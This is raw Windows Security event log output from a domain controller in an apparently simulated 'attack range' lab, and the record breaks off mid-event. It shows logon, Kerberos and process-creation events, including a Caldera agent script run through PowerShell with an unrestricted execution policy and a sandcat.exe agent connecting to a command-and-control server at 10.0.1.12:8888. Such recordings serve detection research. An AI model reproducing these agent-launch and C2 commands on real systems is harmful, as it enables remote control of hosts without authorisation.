-Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe90 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x134c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252557 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Process Information: - New Process ID: 0x134c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252556 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252555 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252554 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252553 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252552 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252551 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x115c - New Process Name: C:\Users\Public\sandcat.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x48c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Users\Public\sandcat.exe" -server http://10.0.1.12:8888 -group my_group -v - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252550 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1685E8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252549 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x163B77 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252548 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1685E8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252547 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1685E8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252546 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252545 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252544 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252543 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168452 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252542 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168452 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252541 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168452 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252540 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252539 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252538 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252537 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x165E53 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252536 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x165452 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252535 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x163EB5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252534 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfd0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x48c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252533 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x48c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_agent.ps1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252625 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1138 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1164 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\3nkczudu.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252624 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x16C64F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252623 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x16C64F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64654 - -Detailed Authentication Information: - Logon Process: 